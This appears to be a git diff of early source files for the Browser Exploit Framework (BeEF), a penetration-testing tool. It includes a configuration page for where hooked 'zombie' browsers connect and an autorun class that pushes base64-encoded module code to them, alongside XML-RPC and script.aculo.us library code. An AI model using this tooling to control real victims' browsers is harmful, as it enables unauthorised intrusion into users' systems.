$chunkend; + } + return $new; + } + + /** + * xml charset encoding guessing helper function. + * Tries to determine the charset encoding of an XML chunk received over HTTP. + * NB: according to the spec (RFC 3023), if text/xml content-type is received over HTTP without a content-type, + * we SHOULD assume it is strictly US-ASCII. But we try to be more tolerant of unconforming (legacy?) clients/servers, + * which will be most probably using UTF-8 anyway... + * + * @param string $httpheaders the http Content-type header + * @param string $xmlchunk xml content buffer + * @param string $encoding_prefs comma separated list of character encodings to be used as default (when mb extension is enabled) + * + * @todo explore usage of mb_http_input(): does it detect http headers + post data? if so, use it instead of hand-detection!!! + */ + function guess_encoding($httpheader='', $xmlchunk='', $encoding_prefs=null) + { + // discussion: see http://www.yale.edu/pclt/encoding/ + // 1 - test if encoding is specified in HTTP HEADERS + + //Details: + // LWS: (\13\10)?( |\t)+ + // token: (any char but excluded stuff)+ + // quoted string: " (any char but double quotes and cointrol chars)* " + // header: Content-type = ...; charset=value(; ...)* + // where value is of type token, no LWS allowed between 'charset' and value + // Note: we do not check for invalid chars in VALUE: + // this had better be done using pure ereg as below + // Note 2: we might be removing whitespace/tabs that ought to be left in if + // the received charset is a quoted string. But nobody uses such charset names... + + /// @todo this test will pass if ANY header has charset specification, not only Content-Type. Fix it? + $matches = array(); + if(preg_match('/;\s*charset\s*=([^;]+)/i', $httpheader, $matches)) + { + return strtoupper(trim($matches[1], " \t\"")); + } + + // 2 - scan the first bytes of the data for a UTF-16 (or other) BOM pattern + // (source: http://www.w3.org/TR/2000/REC-xml-20001006) + // NOTE: actually, according to the spec, even if we find the BOM and determine + // an encoding, we should check if there is an encoding specified + // in the xml declaration, and verify if they match. + /// @todo implement check as described above? + /// @todo implement check for first bytes of string even without a BOM? (It sure looks harder than for cases WITH a BOM) + if(preg_match('/^(\x00\x00\xFE\xFF|\xFF\xFE\x00\x00|\x00\x00\xFF\xFE|\xFE\xFF\x00\x00)/', $xmlchunk)) + { + return 'UCS-4'; + } + elseif(preg_match('/^(\xFE\xFF|\xFF\xFE)/', $xmlchunk)) + { + return 'UTF-16'; + } + elseif(preg_match('/^(\xEF\xBB\xBF)/', $xmlchunk)) + { + return 'UTF-8'; + } + + // 3 - test if encoding is specified in the xml declaration + // Details: + // SPACE: (#x20 | #x9 | #xD | #xA)+ === [ \x9\xD\xA]+ + // EQ: SPACE?=SPACE? === [ \x9\xD\xA]*=[ \x9\xD\xA]* + if (preg_match('/^<\?xml\s+version\s*=\s*'. "((?:\"[a-zA-Z0-9_.:-]+\")|(?:'[a-zA-Z0-9_.:-]+'))". + '\s+encoding\s*=\s*' . "((?:\"[A-Za-z][A-Za-z0-9._-]*\")|(?:'[A-Za-z][A-Za-z0-9._-]*'))/", + $xmlchunk, $matches)) + { + return strtoupper(substr($matches[2], 1, -1)); + } + + // 4 - if mbstring is available, let it do the guesswork + // NB: we favour finding an encoding that is compatible with what we can process + if(extension_loaded('mbstring')) + { + if($encoding_prefs) + { + $enc = mb_detect_encoding($xmlchunk, $encoding_prefs); + } + else + { + $enc = mb_detect_encoding($xmlchunk); + } + // NB: mb_detect likes to call it ascii, xml parser likes to call it US_ASCII... + // IANA also likes better US-ASCII, so go with it + if($enc == 'ASCII') + { + $enc = 'US-'.$enc; + } + return $enc; + } + else + { + // no encoding specified: as per HTTP1.1 assume it is iso-8859-1? + // Both RFC 2616 (HTTP 1.1) and 1945 (HTTP 1.0) clearly state that for text/xxx content types + // this should be the standard. And we should be getting text/xml as request and response. + // BUT we have to be backward compatible with the lib, which always used UTF-8 as default... + return $GLOBALS['xmlrpc_defencoding']; + } + } + + /** + * Checks if a given charset encoding is present in a list of encodings or + * if it is a valid subset of any encoding in the list + * @param string $encoding charset to be tested + * @param mixed $validlist comma separated list of valid charsets (or array of charsets) + */ + function is_valid_charset($encoding, $validlist) + { + $charset_supersets = array( + 'US-ASCII' => array ('ISO-8859-1', 'ISO-8859-2', 'ISO-8859-3', 'ISO-8859-4', + 'ISO-8859-5', 'ISO-8859-6', 'ISO-8859-7', 'ISO-8859-8', + 'ISO-8859-9', 'ISO-8859-10', 'ISO-8859-11', 'ISO-8859-12', + 'ISO-8859-13', 'ISO-8859-14', 'ISO-8859-15', 'UTF-8', + 'EUC-JP', 'EUC-', 'EUC-KR', 'EUC-CN') + ); + if (is_string($validlist)) + $validlist = explode(',', $validlist); + if (@in_array(strtoupper($encoding), $validlist)) + return true; + else + { + if (array_key_exists($encoding, $charset_supersets)) + foreach ($validlist as $allowed) + if (in_array($allowed, $charset_supersets[$encoding])) + return true; + return false; + } + } + +?> \ No newline at end of file diff --git a/index.php b/index.php new file mode 100644 index 000000000..e257ecee1 --- /dev/null +++ b/index.php @@ -0,0 +1,126 @@ + + + + + + +'; + $style_css = ' '; + + echo preg_replace('/USERAGENT/', $subdirectory, $menu_css); + echo preg_replace('/USERAGENT/', $subdirectory, $style_css); + } + + // set css based on the user agent + if(stristr($browser_ua['name'], "Firefox")) { + generate_css_tags('firefox'); + } elseif(stristr($browser_ua['name'], "Internet Explorer")) { + generate_css_tags('ie'); + } elseif(stristr($browser_ua['name'], "Safari")) { + generate_css_tags('safari'); + } else { + generate_css_tags('firefox'); + } + + $url = "http://" . $_SERVER['SERVER_NAME']. $_SERVER['REQUEST_URI']; + if(! valid_url_without_query($url)) $url = ""; + +?> + + Browser Exploit Framework + + + + + + + + + + + + + + + +
    +
    +
    BeEF Configuration
    +
    +
    +
    +
    Connection (IP Address or URL)
    + This is the location that the zombies will connect to (do not include the hook directory). This must match the 'ServerName' value in your http.conf for the modules to work. + + BeEF configuration password + + +
    Clicking 'Apply Configuration' will remove/replace these configuration files +
    +
    +
    +
    + +
    + + + + diff --git a/js/autorun.js b/js/autorun.js new file mode 100644 index 000000000..19c83c5a8 --- /dev/null +++ b/js/autorun.js @@ -0,0 +1,33 @@ +// Copyright (c) 2006-2009, Wade Alcorn +// All Rights Reserved +// wade@bindshell.net - http://www.bindshell.net + +// --[ AUTORUN CLASS +var Autorun = Class.create(); +Autorun.prototype = { + initialize: function() { + this.version = '0.1', + this.authors = 'Wade Alcorn ', + this.enabled = false, + this.module = '', + this.code = '' + }, + // params: string to be displayed in sidebar, base64 encode code + enable: function(module_name, code) { + this.code = code; + var params = 'data='+code; + new Ajax.Updater('module_status', 'send_cmds.php?action=autorun', {method:'post',parameters:params,asynchronous:false}); + + this.enabled = true; + this.module = module_name; + $('autorun_dyn').innerHTML = this.module + ' Module Enabled'; + }, + disable: function() { + var params = 'data=disable'; + new Ajax.Updater('module_status', 'send_cmds.php?action=autorun', {method:'post',parameters:params,asynchronous:false}); + this.enabled = false; + this.module = ''; + this.status = 'Disabled'; + $('autorun_dyn').innerHTML = this.status; + } +} \ No newline at end of file diff --git a/js/builder.js b/js/builder.js new file mode 100644 index 000000000..5b15ba939 --- /dev/null +++ b/js/builder.js @@ -0,0 +1,101 @@ +// Copyright (c) 2005 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us) +// +// See scriptaculous.js for full license. + +var Builder = { + NODEMAP: { + AREA: 'map', + CAPTION: 'table', + COL: 'table', + COLGROUP: 'table', + LEGEND: 'fieldset', + OPTGROUP: 'select', + OPTION: 'select', + PARAM: 'object', + TBODY: 'table', + TD: 'table', + TFOOT: 'table', + TH: 'table', + THEAD: 'table', + TR: 'table' + }, + // note: For Firefox < 1.5, OPTION and OPTGROUP tags are currently broken, + // due to a Firefox bug + node: function(elementName) { + elementName = elementName.toUpperCase(); + + // try innerHTML approach + var parentTag = this.NODEMAP[elementName] || 'div'; + var parentElement = document.createElement(parentTag); + try { // prevent IE "feature": http://dev.rubyonrails.org/ticket/2707 + parentElement.innerHTML = "<" + elementName + ">"; + } catch(e) {} + var element = parentElement.firstChild || null; + + // see if browser added wrapping tags + if(element && (element.tagName != elementName)) + element = element.getElementsByTagName(elementName)[0]; + + // fallback to createElement approach + if(!element) element = document.createElement(elementName); + + // abort if nothing could be created + if(!element) return; + + // attributes (or text) + if(arguments[1]) + if(this._isStringOrNumber(arguments[1]) || + (arguments[1] instanceof Array)) { + this._children(element, arguments[1]); + } else { + var attrs = this._attributes(arguments[1]); + if(attrs.length) { + try { // prevent IE "feature": http://dev.rubyonrails.org/ticket/2707 + parentElement.innerHTML = "<" +elementName + " " + + attrs + ">"; + } catch(e) {} + element = parentElement.firstChild || null; + // workaround firefox 1.0.X bug + if(!element) { + element = document.createElement(elementName); + for(attr in arguments[1]) + element[attr == 'class' ? 'className' : attr] = arguments[1][attr]; + } + if(element.tagName != elementName) + element = parentElement.getElementsByTagName(elementName)[0]; + } + } + + // text, or array of children + if(arguments[2]) + this._children(element, arguments[2]); + + return element; + }, + _text: function(text) { + return document.createTextNode(text); + }, + _attributes: function(attributes) { + var attrs = []; + for(attribute in attributes) + attrs.push((attribute=='className' ? 'class' : attribute) + + '="' + attributes[attribute].toString().escapeHTML() + '"'); + return attrs.join(" "); + }, + _children: function(element, children) { + if(typeof children=='object') { // array can hold nodes and text + children.flatten().each( function(e) { + if(typeof e=='object') + element.appendChild(e) + else + if(Builder._isStringOrNumber(e)) + element.appendChild(Builder._text(e)); + }); + } else + if(Builder._isStringOrNumber(children)) + element.appendChild(Builder._text(children)); + }, + _isStringOrNumber: function(param) { + return(typeof param=='string' || typeof param=='number'); + } +} \ No newline at end of file diff --git a/js/common.js b/js/common.js new file mode 100644 index 000000000..b13af2afa --- /dev/null +++ b/js/common.js @@ -0,0 +1,110 @@ +// Copyright (c) 2006-2009, Wade Alcorn +// All Rights Reserved +// wade@bindshell.net - http://www.bindshell.net + +// --[ DIFF +// diff two arrays +function diff(a,b) { + var c = new Array(); + + a.each( function(element) { + if(0 > b.indexOf(element)) { + c.push(element); + } + }) + + return c; +} + +// --[ B64REPLACE +// replace a string in a base64 string +function b64replace(b64str, srcstr, deststr) { + str = decode64(b64str); + str = str.replace(srcstr, deststr); + result = encode64(str); + return result; +} + +// array code from http://4umi.com/web/javascript/array.htm + +Array.prototype.indexOf=function(n){for(var i=0;i=0){var a=this.slice(),b=a.splice(i);a[i]=value;return a.concat(b);}} +Array.prototype.shuffle=function(){var i=this.length,j,t;while(i--){j=Math.floor((i+1)*Math.random());t=arr[i];arr[i]=arr[j];arr[j]=t;}} +Array.prototype.unique=function(){var a=[],i;this.sort();for(i=0;i> 2; + enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); + enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); + enc4 = chr3 & 63; + + if (isNaN(chr2)) { + enc3 = enc4 = 64; + } else if (isNaN(chr3)) { + enc4 = 64; + } + + output = output + keyStr.charAt(enc1) + keyStr.charAt(enc2) + + keyStr.charAt(enc3) + keyStr.charAt(enc4); + } while (i < input.length); + + return output; +} + +function decode64(input) { + var output = ""; + var chr1, chr2, chr3; + var enc1, enc2, enc3, enc4; + var i = 0; + + // remove all characters that are not A-Z, a-z, 0-9, +, /, or = + input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); + + do { + enc1 = keyStr.indexOf(input.charAt(i++)); + enc2 = keyStr.indexOf(input.charAt(i++)); + enc3 = keyStr.indexOf(input.charAt(i++)); + enc4 = keyStr.indexOf(input.charAt(i++)); + + chr1 = (enc1 << 2) | (enc2 >> 4); + chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); + chr3 = ((enc3 & 3) << 6) | enc4; + + output = output + String.fromCharCode(chr1); + + if (enc3 != 64) { + output = output + String.fromCharCode(chr2); + } + if (enc4 != 64) { + output = output + String.fromCharCode(chr3); + } + } while (i < input.length); + + return output; +} + + diff --git a/js/controls.js b/js/controls.js new file mode 100644 index 000000000..ea5ce6eac --- /dev/null +++ b/js/controls.js @@ -0,0 +1,821 @@ +// Copyright (c) 2005 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us) +// (c) 2005 Ivan Krstic (http://blogs.law.harvard.edu/ivan) +// (c) 2005 Jon Tirsen (http://www.tirsen.com) +// Contributors: +// Richard Livsey +// Rahul Bhargava +// Rob Wills +// +// See scriptaculous.js for full license. + +// Autocompleter.Base handles all the autocompletion functionality +// that's independent of the data source for autocompletion. This +// includes drawing the autocompletion menu, observing keyboard +// and mouse events, and similar. +// +// Specific autocompleters need to provide, at the very least, +// a getUpdatedChoices function that will be invoked every time +// the text inside the monitored textbox changes. This method +// should get the text for which to provide autocompletion by +// invoking this.getToken(), NOT by directly accessing +// this.element.value. This is to allow incremental tokenized +// autocompletion. Specific auto-completion logic (AJAX, etc) +// belongs in getUpdatedChoices. +// +// Tokenized incremental autocompletion is enabled automatically +// when an autocompleter is instantiated with the 'tokens' option +// in the options parameter, e.g.: +// new Ajax.Autocompleter('id','upd', '/url/', { tokens: ',' }); +// will incrementally autocomplete with a comma as the token. +// Additionally, ',' in the above example can be replaced with +// a token array, e.g. { tokens: [',', '\n'] } which +// enables autocompletion on multiple tokens. This is most +// useful when one of the tokens is \n (a newline), as it +// allows smart autocompletion after linebreaks. + +if(typeof Effect == 'undefined') + throw("controls.js requires including script.aculo.us' effects.js library"); + +var Autocompleter = {} +Autocompleter.Base = function() {}; +Autocompleter.Base.prototype = { + baseInitialize: function(element, update, options) { + this.element = $(element); + this.update = $(update); + this.hasFocus = false; + this.changed = false; + this.active = false; + this.index = 0; + this.entryCount = 0; + + if (this.setOptions) + this.setOptions(options); + else + this.options = options || {}; + + this.options.paramName = this.options.paramName || this.element.name; + this.options.tokens = this.options.tokens || []; + this.options.frequency = this.options.frequency || 0.4; + this.options.minChars = this.options.minChars || 1; + this.options.onShow = this.options.onShow || + function(element, update){ + if(!update.style.position || update.style.position=='absolute') { + update.style.position = 'absolute'; + Position.clone(element, update, {setHeight: false, offsetTop: element.offsetHeight}); + } + Effect.Appear(update,{duration:0.15}); + }; + this.options.onHide = this.options.onHide || + function(element, update){ new Effect.Fade(update,{duration:0.15}) }; + + if (typeof(this.options.tokens) == 'string') + this.options.tokens = new Array(this.options.tokens); + + this.observer = null; + + this.element.setAttribute('autocomplete','off'); + + Element.hide(this.update); + + Event.observe(this.element, "blur", this.onBlur.bindAsEventListener(this)); + Event.observe(this.element, "keypress", this.onKeyPress.bindAsEventListener(this)); + }, + + show: function() { + if(Element.getStyle(this.update, 'display')=='none') this.options.onShow(this.element, this.update); + if(!this.iefix && + (navigator.appVersion.indexOf('MSIE')>0) && + (navigator.userAgent.indexOf('Opera')<0) && + (Element.getStyle(this.update, 'position')=='absolute')) { + new Insertion.After(this.update, + ''); + this.iefix = $(this.update.id+'_iefix'); + } + if(this.iefix) setTimeout(this.fixIEOverlapping.bind(this), 50); + }, + + fixIEOverlapping: function() { + Position.clone(this.update, this.iefix, {setTop:(!this.update.style.height)}); + this.iefix.style.zIndex = 1; + this.update.style.zIndex = 2; + Element.show(this.iefix); + }, + + hide: function() { + this.stopIndicator(); + if(Element.getStyle(this.update, 'display')!='none') this.options.onHide(this.element, this.update); + if(this.iefix) Element.hide(this.iefix); + }, + + startIndicator: function() { + if(this.options.indicator) Element.show(this.options.indicator); + }, + + stopIndicator: function() { + if(this.options.indicator) Element.hide(this.options.indicator); + }, + + onKeyPress: function(event) { + if(this.active) + switch(event.keyCode) { + case Event.KEY_TAB: + case Event.KEY_RETURN: + this.selectEntry(); + Event.stop(event); + case Event.KEY_ESC: + this.hide(); + this.active = false; + Event.stop(event); + return; + case Event.KEY_LEFT: + case Event.KEY_RIGHT: + return; + case Event.KEY_UP: + this.markPrevious(); + this.render(); + if(navigator.appVersion.indexOf('AppleWebKit')>0) Event.stop(event); + return; + case Event.KEY_DOWN: + this.markNext(); + this.render(); + if(navigator.appVersion.indexOf('AppleWebKit')>0) Event.stop(event); + return; + } + else + if(event.keyCode==Event.KEY_TAB || event.keyCode==Event.KEY_RETURN || + (navigator.appVersion.indexOf('AppleWebKit') > 0 && event.keyCode == 0)) return; + + this.changed = true; + this.hasFocus = true; + + if(this.observer) clearTimeout(this.observer); + this.observer = + setTimeout(this.onObserverEvent.bind(this), this.options.frequency*1000); + }, + + activate: function() { + this.changed = false; + this.hasFocus = true; + this.getUpdatedChoices(); + }, + + onHover: function(event) { + var element = Event.findElement(event, 'LI'); + if(this.index != element.autocompleteIndex) + { + this.index = element.autocompleteIndex; + this.render(); + } + Event.stop(event); + }, + + onClick: function(event) { + var element = Event.findElement(event, 'LI'); + this.index = element.autocompleteIndex; + this.selectEntry(); + this.hide(); + }, + + onBlur: function(event) { + // needed to make click events working + setTimeout(this.hide.bind(this), 250); + this.hasFocus = false; + this.active = false; + }, + + render: function() { + if(this.entryCount > 0) { + for (var i = 0; i < this.entryCount; i++) + this.index==i ? + Element.addClassName(this.getEntry(i),"selected") : + Element.removeClassName(this.getEntry(i),"selected"); + + if(this.hasFocus) { + this.show(); + this.active = true; + } + } else { + this.active = false; + this.hide(); + } + }, + + markPrevious: function() { + if(this.index > 0) this.index-- + else this.index = this.entryCount-1; + this.getEntry(this.index).scrollIntoView(true); + }, + + markNext: function() { + if(this.index < this.entryCount-1) this.index++ + else this.index = 0; + this.getEntry(this.index).scrollIntoView(false); + }, + + getEntry: function(index) { + return this.update.firstChild.childNodes[index]; + }, + + getCurrentEntry: function() { + return this.getEntry(this.index); + }, + + selectEntry: function() { + this.active = false; + this.updateElement(this.getCurrentEntry()); + }, + + updateElement: function(selectedElement) { + if (this.options.updateElement) { + this.options.updateElement(selectedElement); + return; + } + var value = ''; + if (this.options.select) { + var nodes = document.getElementsByClassName(this.options.select, selectedElement) || []; + if(nodes.length>0) value = Element.collectTextNodes(nodes[0], this.options.select); + } else + value = Element.collectTextNodesIgnoreClass(selectedElement, 'informal'); + + var lastTokenPos = this.findLastToken(); + if (lastTokenPos != -1) { + var newValue = this.element.value.substr(0, lastTokenPos + 1); + var whitespace = this.element.value.substr(lastTokenPos + 1).match(/^\s+/); + if (whitespace) + newValue += whitespace[0]; + this.element.value = newValue + value; + } else { + this.element.value = value; + } + this.element.focus(); + + if (this.options.afterUpdateElement) + this.options.afterUpdateElement(this.element, selectedElement); + }, + + updateChoices: function(choices) { + if(!this.changed && this.hasFocus) { + this.update.innerHTML = choices; + Element.cleanWhitespace(this.update); + Element.cleanWhitespace(this.update.firstChild); + + if(this.update.firstChild && this.update.firstChild.childNodes) { + this.entryCount = + this.update.firstChild.childNodes.length; + for (var i = 0; i < this.entryCount; i++) { + var entry = this.getEntry(i); + entry.autocompleteIndex = i; + this.addObservers(entry); + } + } else { + this.entryCount = 0; + } + + this.stopIndicator(); + + this.index = 0; + this.render(); + } + }, + + addObservers: function(element) { + Event.observe(element, "mouseover", this.onHover.bindAsEventListener(this)); + Event.observe(element, "click", this.onClick.bindAsEventListener(this)); + }, + + onObserverEvent: function() { + this.changed = false; + if(this.getToken().length>=this.options.minChars) { + this.startIndicator(); + this.getUpdatedChoices(); + } else { + this.active = false; + this.hide(); + } + }, + + getToken: function() { + var tokenPos = this.findLastToken(); + if (tokenPos != -1) + var ret = this.element.value.substr(tokenPos + 1).replace(/^\s+/,'').replace(/\s+$/,''); + else + var ret = this.element.value; + + return /\n/.test(ret) ? '' : ret; + }, + + findLastToken: function() { + var lastTokenPos = -1; + + for (var i=0; i lastTokenPos) + lastTokenPos = thisTokenPos; + } + return lastTokenPos; + } +} + +Ajax.Autocompleter = Class.create(); +Object.extend(Object.extend(Ajax.Autocompleter.prototype, Autocompleter.Base.prototype), { + initialize: function(element, update, url, options) { + this.baseInitialize(element, update, options); + this.options.asynchronous = true; + this.options.onComplete = this.onComplete.bind(this); + this.options.defaultParams = this.options.parameters || null; + this.url = url; + }, + + getUpdatedChoices: function() { + entry = encodeURIComponent(this.options.paramName) + '=' + + encodeURIComponent(this.getToken()); + + this.options.parameters = this.options.callback ? + this.options.callback(this.element, entry) : entry; + + if(this.options.defaultParams) + this.options.parameters += '&' + this.options.defaultParams; + + new Ajax.Request(this.url, this.options); + }, + + onComplete: function(request) { + this.updateChoices(request.responseText); + } + +}); + +// The local array autocompleter. Used when you'd prefer to +// inject an array of autocompletion options into the page, rather +// than sending out Ajax queries, which can be quite slow sometimes. +// +// The constructor takes four parameters. The first two are, as usual, +// the id of the monitored textbox, and id of the autocompletion menu. +// The third is the array you want to autocomplete from, and the fourth +// is the options block. +// +// Extra local autocompletion options: +// - choices - How many autocompletion choices to offer +// +// - partialSearch - If false, the autocompleter will match entered +// text only at the beginning of strings in the +// autocomplete array. Defaults to true, which will +// match text at the beginning of any *word* in the +// strings in the autocomplete array. If you want to +// search anywhere in the string, additionally set +// the option fullSearch to true (default: off). +// +// - fullSsearch - Search anywhere in autocomplete array strings. +// +// - partialChars - How many characters to enter before triggering +// a partial match (unlike minChars, which defines +// how many characters are required to do any match +// at all). Defaults to 2. +// +// - ignoreCase - Whether to ignore case when autocompleting. +// Defaults to true. +// +// It's possible to pass in a custom function as the 'selector' +// option, if you prefer to write your own autocompletion logic. +// In that case, the other options above will not apply unless +// you support them. + +Autocompleter.Local = Class.create(); +Autocompleter.Local.prototype = Object.extend(new Autocompleter.Base(), { + initialize: function(element, update, array, options) { + this.baseInitialize(element, update, options); + this.options.array = array; + }, + + getUpdatedChoices: function() { + this.updateChoices(this.options.selector(this)); + }, + + setOptions: function(options) { + this.options = Object.extend({ + choices: 10, + partialSearch: true, + partialChars: 2, + ignoreCase: true, + fullSearch: false, + selector: function(instance) { + var ret = []; // Beginning matches + var partial = []; // Inside matches + var entry = instance.getToken(); + var count = 0; + + for (var i = 0; i < instance.options.array.length && + ret.length < instance.options.choices ; i++) { + + var elem = instance.options.array[i]; + var foundPos = instance.options.ignoreCase ? + elem.toLowerCase().indexOf(entry.toLowerCase()) : + elem.indexOf(entry); + + while (foundPos != -1) { + if (foundPos == 0 && elem.length != entry.length) { + ret.push("
  • " + elem.substr(0, entry.length) + "" + + elem.substr(entry.length) + "
  • "); + break; + } else if (entry.length >= instance.options.partialChars && + instance.options.partialSearch && foundPos != -1) { + if (instance.options.fullSearch || /\s/.test(elem.substr(foundPos-1,1))) { + partial.push("
  • " + elem.substr(0, foundPos) + "" + + elem.substr(foundPos, entry.length) + "" + elem.substr( + foundPos + entry.length) + "
  • "); + break; + } + } + + foundPos = instance.options.ignoreCase ? + elem.toLowerCase().indexOf(entry.toLowerCase(), foundPos + 1) : + elem.indexOf(entry, foundPos + 1); + + } + } + if (partial.length) + ret = ret.concat(partial.slice(0, instance.options.choices - ret.length)) + return "
      " + ret.join('') + "
    "; + } + }, options || {}); + } +}); + +// AJAX in-place editor +// +// see documentation on http://wiki.script.aculo.us/scriptaculous/show/Ajax.InPlaceEditor + +// Use this if you notice weird scrolling problems on some browsers, +// the DOM might be a bit confused when this gets called so do this +// waits 1 ms (with setTimeout) until it does the activation +Field.scrollFreeActivate = function(field) { + setTimeout(function() { + Field.activate(field); + }, 1); +} + +Ajax.InPlaceEditor = Class.create(); +Ajax.InPlaceEditor.defaultHighlightColor = "#FFFF99"; +Ajax.InPlaceEditor.prototype = { + initialize: function(element, url, options) { + this.url = url; + this.element = $(element); + + this.options = Object.extend({ + okButton: true, + okText: "ok", + cancelLink: true, + cancelText: "cancel", + savingText: "Saving...", + clickToEditText: "Click to edit", + okText: "ok", + rows: 1, + onComplete: function(transport, element) { + new Effect.Highlight(element, {startcolor: this.options.highlightcolor}); + }, + onFailure: function(transport) { + alert("Error communicating with the server: " + transport.responseText.stripTags()); + }, + callback: function(form) { + return Form.serialize(form); + }, + handleLineBreaks: true, + loadingText: 'Loading...', + savingClassName: 'inplaceeditor-saving', + loadingClassName: 'inplaceeditor-loading', + formClassName: 'inplaceeditor-form', + highlightcolor: Ajax.InPlaceEditor.defaultHighlightColor, + highlightendcolor: "#FFFFFF", + externalControl: null, + submitOnBlur: false, + ajaxOptions: {}, + evalScripts: false + }, options || {}); + + if(!this.options.formId && this.element.id) { + this.options.formId = this.element.id + "-inplaceeditor"; + if ($(this.options.formId)) { + // there's already a form with that name, don't specify an id + this.options.formId = null; + } + } + + if (this.options.externalControl) { + this.options.externalControl = $(this.options.externalControl); + } + + this.originalBackground = Element.getStyle(this.element, 'background-color'); + if (!this.originalBackground) { + this.originalBackground = "transparent"; + } + + this.element.title = this.options.clickToEditText; + + this.onclickListener = this.enterEditMode.bindAsEventListener(this); + this.mouseoverListener = this.enterHover.bindAsEventListener(this); + this.mouseoutListener = this.leaveHover.bindAsEventListener(this); + Event.observe(this.element, 'click', this.onclickListener); + Event.observe(this.element, 'mouseover', this.mouseoverListener); + Event.observe(this.element, 'mouseout', this.mouseoutListener); + if (this.options.externalControl) { + Event.observe(this.options.externalControl, 'click', this.onclickListener); + Event.observe(this.options.externalControl, 'mouseover', this.mouseoverListener); + Event.observe(this.options.externalControl, 'mouseout', this.mouseoutListener); + } + }, + enterEditMode: function(evt) { + if (this.saving) return; + if (this.editing) return; + this.editing = true; + this.onEnterEditMode(); + if (this.options.externalControl) { + Element.hide(this.options.externalControl); + } + Element.hide(this.element); + this.createForm(); + this.element.parentNode.insertBefore(this.form, this.element); + if (!this.options.loadTextURL) Field.scrollFreeActivate(this.editField); + // stop the event to avoid a page refresh in Safari + if (evt) { + Event.stop(evt); + } + return false; + }, + createForm: function() { + this.form = document.createElement("form"); + this.form.id = this.options.formId; + Element.addClassName(this.form, this.options.formClassName) + this.form.onsubmit = this.onSubmit.bind(this); + + this.createEditField(); + + if (this.options.textarea) { + var br = document.createElement("br"); + this.form.appendChild(br); + } + + if (this.options.okButton) { + okButton = document.createElement("input"); + okButton.type = "submit"; + okButton.value = this.options.okText; + okButton.className = 'editor_ok_button'; + this.form.appendChild(okButton); + } + + if (this.options.cancelLink) { + cancelLink = document.createElement("a"); + cancelLink.href = "#"; + cancelLink.appendChild(document.createTextNode(this.options.cancelText)); + cancelLink.onclick = this.onclickCancel.bind(this); + cancelLink.className = 'editor_cancel'; + this.form.appendChild(cancelLink); + } + }, + hasHTMLLineBreaks: function(string) { + if (!this.options.handleLineBreaks) return false; + return string.match(/
    /i); + }, + convertHTMLLineBreaks: function(string) { + return string.replace(/
    /gi, "\n").replace(//gi, "\n").replace(/<\/p>/gi, "\n").replace(/

    /gi, ""); + }, + createEditField: function() { + var text; + if(this.options.loadTextURL) { + text = this.options.loadingText; + } else { + text = this.getText(); + } + + var obj = this; + + if (this.options.rows == 1 && !this.hasHTMLLineBreaks(text)) { + this.options.textarea = false; + var textField = document.createElement("input"); + textField.obj = this; + textField.type = "text"; + textField.name = "value"; + textField.value = text; + textField.style.backgroundColor = this.options.highlightcolor; + textField.className = 'editor_field'; + var size = this.options.size || this.options.cols || 0; + if (size != 0) textField.size = size; + if (this.options.submitOnBlur) + textField.onblur = this.onSubmit.bind(this); + this.editField = textField; + } else { + this.options.textarea = true; + var textArea = document.createElement("textarea"); + textArea.obj = this; + textArea.name = "value"; + textArea.value = this.convertHTMLLineBreaks(text); + textArea.rows = this.options.rows; + textArea.cols = this.options.cols || 40; + textArea.className = 'editor_field'; + if (this.options.submitOnBlur) + textArea.onblur = this.onSubmit.bind(this); + this.editField = textArea; + } + + if(this.options.loadTextURL) { + this.loadExternalText(); + } + this.form.appendChild(this.editField); + }, + getText: function() { + return this.element.innerHTML; + }, + loadExternalText: function() { + Element.addClassName(this.form, this.options.loadingClassName); + this.editField.disabled = true; + new Ajax.Request( + this.options.loadTextURL, + Object.extend({ + asynchronous: true, + onComplete: this.onLoadedExternalText.bind(this) + }, this.options.ajaxOptions) + ); + }, + onLoadedExternalText: function(transport) { + Element.removeClassName(this.form, this.options.loadingClassName); + this.editField.disabled = false; + this.editField.value = transport.responseText.stripTags(); + Field.scrollFreeActivate(this.editField); + }, + onclickCancel: function() { + this.onComplete(); + this.leaveEditMode(); + return false; + }, + onFailure: function(transport) { + this.options.onFailure(transport); + if (this.oldInnerHTML) { + this.element.innerHTML = this.oldInnerHTML; + this.oldInnerHTML = null; + } + return false; + }, + onSubmit: function() { + // onLoading resets these so we need to save them away for the Ajax call + var form = this.form; + var value = this.editField.value; + + // do this first, sometimes the ajax call returns before we get a chance to switch on Saving... + // which means this will actually switch on Saving... *after* we've left edit mode causing Saving... + // to be displayed indefinitely + this.onLoading(); + + if (this.options.evalScripts) { + new Ajax.Request( + this.url, Object.extend({ + parameters: this.options.callback(form, value), + onComplete: this.onComplete.bind(this), + onFailure: this.onFailure.bind(this), + asynchronous:true, + evalScripts:true + }, this.options.ajaxOptions)); + } else { + new Ajax.Updater( + { success: this.element, + // don't update on failure (this could be an option) + failure: null }, + this.url, Object.extend({ + parameters: this.options.callback(form, value), + onComplete: this.onComplete.bind(this), + onFailure: this.onFailure.bind(this) + }, this.options.ajaxOptions)); + } + // stop the event to avoid a page refresh in Safari + if (arguments.length > 1) { + Event.stop(arguments[0]); + } + return false; + }, + onLoading: function() { + this.saving = true; + this.removeForm(); + this.leaveHover(); + this.showSaving(); + }, + showSaving: function() { + this.oldInnerHTML = this.element.innerHTML; + this.element.innerHTML = this.options.savingText; + Element.addClassName(this.element, this.options.savingClassName); + this.element.style.backgroundColor = this.originalBackground; + Element.show(this.element); + }, + removeForm: function() { + if(this.form) { + if (this.form.parentNode) Element.remove(this.form); + this.form = null; + } + }, + enterHover: function() { + if (this.saving) return; + this.element.style.backgroundColor = this.options.highlightcolor; + if (this.effect) { + this.effect.cancel(); + } + Element.addClassName(this.element, this.options.hoverClassName) + }, + leaveHover: function() { + if (this.options.backgroundColor) { + this.element.style.backgroundColor = this.oldBackground; + } + Element.removeClassName(this.element, this.options.hoverClassName) + if (this.saving) return; + this.effect = new Effect.Highlight(this.element, { + startcolor: this.options.highlightcolor, + endcolor: this.options.highlightendcolor, + restorecolor: this.originalBackground + }); + }, + leaveEditMode: function() { + Element.removeClassName(this.element, this.options.savingClassName); + this.removeForm(); + this.leaveHover(); + this.element.style.backgroundColor = this.originalBackground; + Element.show(this.element); + if (this.options.externalControl) { + 